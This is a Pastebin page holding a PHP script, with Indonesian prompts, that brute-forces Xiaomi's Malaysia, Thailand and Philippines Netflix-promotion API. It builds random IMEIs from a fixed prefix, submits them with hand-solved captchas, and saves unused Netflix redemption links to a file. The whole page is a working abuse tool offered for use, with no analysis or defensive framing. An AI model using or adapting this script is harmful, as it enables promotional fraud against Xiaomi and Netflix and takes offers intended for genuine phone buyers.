fadhiilrachman

Mi 10T x Netflix

Dec 28th, 2020 (edited)
3,652
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.97 KB | None | 0 0
  1. <?php
  2.  
  3. $__uid = 'c'.mt_rand(10, 99).'e-e'.mt_rand(10, 99).'1-i'.mt_rand(10, 99).'k-a' . mt_rand(100, 999);
  4. $__imei = '86622805';
  5. $__length = 7;
  6. $__region = '';
  7.  
  8. function http_request($url) {
  9.     $ch = curl_init();
  10.     curl_setopt($ch, CURLOPT_URL, $url);
  11.     curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36');
  12.     curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  13.     $output = curl_exec($ch);
  14.     curl_close($ch);
  15.     return $output;
  16. }
  17.  
  18. function randNumber($length) {
  19.     $result = '';
  20.     for($i = 0; $i < $length; $i++) {
  21.         $result .= mt_rand(0, 9);
  22.     }
  23.     return $result;
  24. }
  25.  
  26. $__stopped=false;$ii=0;
  27.  
  28. echo 'Mi 10T x Netflix'. PHP_EOL;
  29. echo 'Support: MY TH PH'. PHP_EOL;
  30. echo '-----------------'. PHP_EOL;
  31. sleep(1);
  32. echo '> Input UID (optional): ';
  33. $input = fopen("php://stdin","r");
  34. $answer = trim(fgets($input));
  35. if($answer!=='') {
  36.     $__uid=$answer;
  37. }
  38. sleep(1);
  39. echo '> Input awalan IMEI ('.$__imei.'): ';
  40. $input = fopen("php://stdin","r");
  41. $answer = trim(fgets($input));
  42. if($answer!=='') {
  43.     $__imei=$answer;
  44. }
  45. sleep(1);
  46. echo '> Input panjang random IMEI ('.$__length.'): ';
  47. $input = fopen("php://stdin","r");
  48. $answer = trim(fgets($input));
  49. if($answer!=='') {
  50.     $__length=(int)$answer;
  51. }
  52. sleep(1);
  53. $__setting = [
  54.     ['my', '', 'Malaysia', 'https://hd.c.mi.com/my/eventapi/api/aptcha/index?type=netflix&uid='.$__uid],
  55.     ['th', '', 'Thailand', 'https://hd.c.mi.com/th/eventapi/api/aptcha/index?type=netflix&uid='.$__uid],
  56.     ['ph', '', 'Philippines', 'https://hd.c.mi.com/ph/eventapi/api/aptcha/index?type=netflix&uid='.$__uid]
  57. ];
  58. echo '(0) '.$__setting[0][2] . PHP_EOL;
  59. echo '(1) '.$__setting[1][2] . PHP_EOL;
  60. echo '(2) '.$__setting[2][2] . PHP_EOL;
  61. echo '> Input Region (Enter for all region): ';
  62. $input = fopen("php://stdin","r");
  63. $answer = trim(fgets($input));
  64. if($answer=='') {
  65.     $__region='All region';
  66. } else {
  67.     $__setting_temp=$__setting;
  68.     $__setting=[];
  69.     $__setting[]=$__setting_temp[(int)$answer];
  70.     $__region=$__setting[0][2];
  71. }
  72. echo '[x] UID anda: ' . $__uid . PHP_EOL;
  73. echo '[x] Awalan IMEI: ' . $__imei . PHP_EOL;
  74. echo '[x] Panjang random IMEI: ' . $__length . PHP_EOL;
  75. echo '[x] Region: ' . $__region . PHP_EOL;
  76. sleep(1);
  77. echo 'Input captcha akan muncul 3x.' . PHP_EOL;
  78. echo 'Buka link dibawah ini, lalu input captchanya.' . PHP_EOL;
  79.  
  80. sleep(1);
  81. foreach ($__setting as $sett) {
  82.     echo '[' . $sett[2] . '] Challenge the captcha' . PHP_EOL;
  83.     echo '=> ' . $sett[3] . PHP_EOL;
  84.     echo '> Input captcha : ';
  85.     $input = fopen("php://stdin","r");
  86.     $answer = trim(fgets($input));
  87.     $__setting[$ii][1] = $answer;
  88.     $ii++;
  89. }
  90. sleep(1);
  91. echo '[READY]' . PHP_EOL;
  92. sleep(1);
  93. while(1) {
  94.     $imei = $__imei . randNumber($__length);
  95.     if($__stopped) {
  96.         break;
  97.     }
  98.     $ii=0;
  99.     foreach ($__setting as $sett) {
  100.         $data = http_request('https://hd.c.mi.com/'.$sett[0].'/eventapi/api/netflix/gettoken?uid='.$__uid.'&vcode='.$sett[1].'&imei='.$imei);
  101.         $data = json_decode($data, true);
  102.         if (isset($data['msg']) && $data['msg'] == 'Success') {
  103.             $__if_valid = $data['data']['redirect_url'] . '|' . $imei . '|' . $sett[2] . PHP_EOL;
  104.             $data_n = http_request($data['data']['redirect_url']);
  105.             if(strpos($data_n, 'has already been used')) {
  106.                 echo 'USED => ' . $__if_valid;
  107.             } else {
  108.                 file_put_contents("valid.txt", $__if_valid, FILE_APPEND);
  109.                 echo 'FRESH => ' . $__if_valid;
  110.             }
  111.         } else if(isset($data['code']) && $data['code'] == '800706') {
  112.             echo '[' . $sett[2] . '] Challenge the captcha again' . PHP_EOL;
  113.             echo '=> ' . $sett[3] . PHP_EOL;
  114.             echo '> Input new captcha : ';
  115.             $input = fopen("php://stdin","r");
  116.             $answer = trim(fgets($input));
  117.             $__setting[$ii][1] = $answer;
  118.             echo 'New captcha saved.' . PHP_EOL;
  119.         } else if(isset($data['code']) && $data['code'] == '800707' || $data['code'] == '800708') {
  120.             echo 'INVALID => ' . $imei . '|' . $sett[2] . PHP_EOL;
  121.         } else {
  122.             echo 'An unexpected error has occured.' . PHP_EOL;
  123.         }
  124.         $ii++;
  125.     }
  126. }
  127.  
Add Comment
Please, Sign In to add comment